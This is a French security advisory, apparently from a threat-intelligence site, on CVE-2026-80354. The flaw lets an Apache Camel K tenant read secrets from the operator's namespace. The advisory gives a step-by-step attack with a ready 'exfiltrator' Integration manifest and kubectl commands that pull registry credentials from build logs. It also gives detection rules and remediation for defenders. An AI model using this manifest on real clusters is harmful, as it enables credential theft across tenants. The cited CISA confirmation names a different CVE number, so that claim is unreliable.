CVE-2026-80354 : contournement d'autorisation multi-tenant et fuite de secrets dans Apache camel k
SCORE DE MENACE HERMES & EXPOSITION DE SECRETS CLOUD-NATIVE
Cible :Opérateur Apache Camel K — Réconciliateur d'intégrations multi-tenant et trait de construction Le standard CVSS v3.1 évalue la CVE-2026-80354 à 8.1 élevé (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) en raison de l'authentification tenant préalable requise (PR:L). Le score Hermes Threat Score rehausse cette sévérité à 88 (ÉLEVÉ) dans les environnements Kubernetes multi-locataires et les chaînes d'intégration agentiques. Camel K fait office de passerelle entre les agents autonomes, les APIs d'outils et les services cloud. L'opérateur s'exécutant avec des privilèges cluster étendus, la résolution inter-namespaces de secrets permet à un pod d'agent ou un développeur restreint d'exfiltrer les jetons cloud maîtres, les mots de passe de bases de données et les clés d'API de modèles de langage (OpenAI, Anthropic, Bedrock), brisant le cloisonnement d'infrastructure.
SÉVÉRITÉ AGENTIQUE HASS & ÉLÉVATION DE PRIVILÈGE INTER-NAMESPACES
Cible :Orchestrateur d'outils pour agents multi-tenants et gestionnaire de secrets de cluster Lorsque des agents autonomes opèrent dans des environnements partagés segmentés par namespaces Kubernetes, les frontières de sécurité reposent sur le RBAC. L'exploitation de la CVE-2026-80354 permet à un agent cantonné à un namespace restreint d'instrumenter l'opérateur Camel K pour extraire des secrets stockés dans le namespace d'administration. L'agent corrompu obtient ainsi des accès illégitimes aux connecteurs SaaS d'entreprise et aux registres de modèles sans disposer de droits administrateurs directs.
CVE-2026-80354: Apache Camel K Operator Authorization Bypass via Maven Profiles ValueSourcesVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique et surface d’attaque
Section intitulée « 1. Contexte technique et surface d’attaque »Dans les déploiements Kubernetes multi-locataires, les charges applicatives des utilisateurs sont isolées dans des namespaces dédiés (ex. tenant-a, tenant-b). Un opérateur Camel K central s’exécute dans un namespace privilégié (ex. camel-k ou operators), muni d’un compte de service à haute élévation (ClusterRole) :
┌─────────────────────────┐ ┌───────────────────────────────┐│ Namespace Locataire │ │ Namespace Opérateur ││ (tenant-a) │ │ (camel-k) ││ │ │ ││ [Pod / Développeur] │ │ [Pod Opérateur Camel K] ││ │ │ │ - Privilèges ClusterRole ││ ▼ │ │ - Secrets Cloud d'entreprise││ Applique Integration CR:│ │ - Clés d'API LLM ││ traits: │ │ ▲ ││ builder: │ │ │ ││ maven-profiles: │ │ Résolution de ValueSource ││ - secret:master-key │ ─── API Kubernetes ──────> │ dans son propre namespace ││ │ │ sans vérifier le RBAC tenant !│└─────────────────────────┘ └───────────────────────────────┘| Paramètre | Détail technique | Impact opérationnel |
|---|---|---|
| Identifiant CVE | CVE-2026-80354 | Bulletin de sécurité Apache Camel / GHSA-3r9g-8jw6-fcwx |
| Classe de vulnérabilité | Contournement d’autorisation (CWE-639) | Fuite de secrets et franchissement de namespaces |
| Sous-système affecté | Trait Builder Camel K (mavenProfiles ValueSources) | Boucle de réconciliation des builds d’intégration |
| Conditions d’accès | Utilisateur authentifié (PR:L) avec droit de création d’Integration | Rôle développeur tenant standard ou agent pod |
| Changement de portée | Portée modifiée (S:C) | Namespace tenant vers namespace opérateur |
| Confidentialité | Totale (C:H) | Divulgation des secrets maîtres du cluster |
| Versions corrigées | Camel K 2.9.3, 2.10.2, 2.11.0 | Mises à jour officielles et charts Helm |
2. Analyse de la cause racine et architecture
Section intitulée « 2. Analyse de la cause racine et architecture »La vulnérabilité se situe dans le code Go du réconciliateur du trait builder (pkg/trait/builder.go).
Défaut de vérification des droits lors de la résolution de ValueSource
Section intitulée « Défaut de vérification des droits lors de la résolution de ValueSource »Lorsqu’une intégration sollicite une configuration Maven spécifique, le trait builder traite les entrées de builder.maven-profiles. Si une entrée est configurée sous forme de ValueSource référençant un Secret Kubernetes, le réconciliateur résout la ressource pour l’injecter dans le fichier settings.xml Maven :
// Modèle de code vulnérable dans le réconciliateur Camel Kfunc (t *builderTrait) resolveMavenProfiles(e *Environment) error { for _, profile := range t.MavenProfiles { if profile.ValueSource != nil && profile.ValueSource.SecretKeyRef != nil { ref := profile.ValueSource.SecretKeyRef // FAILLE : Résolution par défaut dans le namespace de l'opérateur, // sans emprunter l'identité (impersonation) du tenant ! secretName := ref.Name secretKey := ref.Key
secret, err := e.Client.CoreV1().Secrets(e.OperatorNamespace).Get(e.Ctx, secretName, metav1.GetOptions{}) if err == nil { // Donnée confidentielle injectée dans le fichier de configuration du build ! profileData = string(secret.Data[secretKey]) } } } return nil}L’opérateur utilisant son propre client Kubernetes sans valider les droits de l’émetteur de la ressource Integration, le locataire contourne l’isolation stricte des namespaces.
sequenceDiagram autonumber actor Tenant as "Utilisateur tenant / Agent compromis" participant KubeAPI as "Serveur d'API Kubernetes" participant Operator as "Opérateur Camel K (Namespace: camel-k)" participant Secrets as "Magasin de secrets Kubernetes" participant BuildKit as "Pod de compilation (Kaniko/Buildah)"
Tenant->>KubeAPI: "POST /apis/camel.apache.org/v1/namespaces/tenant-a/integrations" Note over Tenant,KubeAPI: "Manifeste avec trait builder.maven-profiles référençant secret:cloud-master-token" KubeAPI-->>Tenant: "201 Created (Ressource enregistrée)" KubeAPI->>Operator: "Événement de réconciliation émis" Operator->>Operator: "Traitement des traits -> Trait Builder" Note over Operator: "Résolution du secret dans le namespace opérateur (camel-k)" Operator->>Secrets: "GET /api/v1/namespaces/camel-k/secrets/cloud-master-token" Secrets-->>Operator: "Retour du contenu chiffré/en clair (autorisé par le ClusterRole)" Operator->>BuildKit: "Lancement du pod de compilation avec le secret injecté dans settings.xml" Note over Operator,BuildKit: "Le secret apparaît dans les journaux ou l'IntegrationKit" Tenant->>KubeAPI: "GET /apis/camel.apache.org/v1/namespaces/tenant-a/builds" KubeAPI-->>Tenant: "Extraction du secret dans les journaux de build !"3. Déroulement chronologique de l’attaque
Section intitulée « 3. Déroulement chronologique de l’attaque »Un attaquant disposant d’un compte restreint sur un namespace peut mener l’attaque suivante :
- Reconnaissance des secrets d’infrastructure : l’attaquant cible les noms standards des secrets de l’opérateur (ex.
camel-k-registry-secret,aws-creds,llm-api-keys,database-credentials). - Rédaction du manifeste d’intégration : l’attaquant crée un fichier
Integrationdans son namespace autorisé (tenant-a) en configurant le trait builder :apiVersion: camel.apache.org/v1kind: Integrationmetadata:name: exfiltratornamespace: tenant-aspec:traits:builder:configuration:mavenProfiles:- "secret:camel-k-registry-secret/.dockerconfigjson"sources:- name: Exfiltrate.javacontent: |import org.apache.camel.builder.RouteBuilder;public class Exfiltrate extends RouteBuilder {public void configure() {from("timer:tick?period=5000").log("Exécution dans le namespace tenant");}} - Application de la ressource : l’attaquant applique le fichier via
kubectl apply -f integration.yaml. - Réconciliation par l’opérateur : l’opérateur lit le secret
.dockerconfigjsondanscamel-ket l’intègre dans le pod de build de l’intégration. - Exfiltration des identifiants : en consultant les journaux du build (
kubectl logs -n tenant-a -l camel.apache.org/build=exfiltrator), l’attaquant récupère les identifiants d’accès au registre privé ou les clés d’API maîtres.
4. Investigation forensique et télémétrie
Section intitulée « 4. Investigation forensique et télémétrie »Analyse des journaux d’audit Kubernetes
Section intitulée « Analyse des journaux d’audit Kubernetes »Surveiller les événements d’audit de l’API Kubernetes signalant la création de ressources Integration comportant des références suspectes :
{ "kind": "Event", "apiVersion": "audit.k8s.io/v1", "verb": "create", "user": { "username": "system:serviceaccount:tenant-a:agent-worker" }, "objectRef": { "resource": "integrations", "namespace": "tenant-a", "name": "exfiltrator", "apiGroup": "camel.apache.org" }, "requestObject": { "spec": { "traits": { "builder": { "configuration": { "mavenProfiles": ["secret:camel-k-registry-secret/.dockerconfigjson"] } } } } }}Télémétrie de l’opérateur
Section intitulée « Télémétrie de l’opérateur »Examen des logs de l’opérateur Camel K (kubectl logs -n camel-k -l app=camel-k) pour détecter la résolution de secrets au profit de locataires tiers :
{"level":"info","ts":"2026-09-20T04:12:00Z","logger":"camel-k.trait.builder","msg":"Resolving maven profile secret camel-k-registry-secret for integration tenant-a/exfiltrator"}5. Ingénierie de la détection
Section intitulée « 5. Ingénierie de la détection »title: Référence de secret inter-namespaces dans le trait Camel Kid: 7c4b1820-21a4-49c8-8035-4cve2026camelstatus: experimentaldescription: Détecte les événements d'audit Kubernetes où une ressource Integration configure le trait builder mavenProfiles en ciblant un secret.logsource: product: kubernetes service: auditdetection: selection: verb: - create - update - patch objectRef.resource: 'integrations' objectRef.apiGroup: 'camel.apache.org' requestObject.spec.traits.builder.configuration.mavenProfiles|contains: 'secret:' condition: selectionlevel: hightags: - attack.credential_access - attack.t1552.007 - cve.2026-80354apiVersion: kyverno.io/v1kind: ClusterPolicymetadata: name: block-camel-k-secret-bypassspec: validationFailureAction: Enforce rules: - name: restrict-builder-maven-profiles match: any: - resources: kinds: - camel.apache.org/v1/Integration validate: message: "Les références directes à des secrets dans builder.mavenProfiles sont interdites." pattern: spec: =(traits): =(builder): =(configuration): X(mavenProfiles): "*secret:*"// Détection de tentatives d'exfiltration de secrets via Camel KKubeAudit| where ObjectRefResource == "integrations" and Verb in ("create", "update")| extend RequestBody = parse_json(RequestBody)| extend MavenProfiles = tostring(RequestBody.spec.traits.builder.configuration.mavenProfiles)| where MavenProfiles has "secret:"| project TimeGenerated, UserURI, ObjectRefNamespace, ObjectRefName, MavenProfiles| order by TimeGenerated desc6. Stratégie de remédiation et durcissement
Section intitulée « 6. Stratégie de remédiation et durcissement »Mesures immédiates
Section intitulée « Mesures immédiates »- Mise à jour de l’opérateur camel k : déployer sans délai Camel K 2.9.3, 2.10.2 ou 2.11.0. Les versions corrigées imposent que les secrets référencés résident obligatoirement dans le namespace propre de l’intégration.
- Contrôle d’admission : si la mise à jour immédiate est impossible, appliquer la politique d’admission Kyverno ci-dessus pour interdire l’usage de la chaîne
secret:dans le traitbuilder.mavenProfiles.
Durcissement en profondeur
Section intitulée « Durcissement en profondeur »- Ségrégation des secrets sensibles : stocker les secrets maîtres dans un gestionnaire externe (HashiCorp Vault, AWS Secrets Manager) et injecter des jetons éphémères via l’External Secrets Operator plutôt que des secrets statiques dans le namespace de l’opérateur.
- Principe du moindre privilège RBAC : restreindre les rôles des comptes de service locataires en interdisant toute modification non contrôlée des traits de compilation.
7. Corrélations stratégiques
Section intitulée « 7. Corrélations stratégiques »8. Sources et références
Section intitulée « 8. Sources et références »- Bulletin de sécurité Apache camel : avis officiel CVE-2026-80354
- Base GitHub advisory : GHSA-3r9g-8jw6-fcwx
- Base NVD du NIST : détail de la CVE-2026-80354
- Documentation officielle camel k : configuration du trait Builder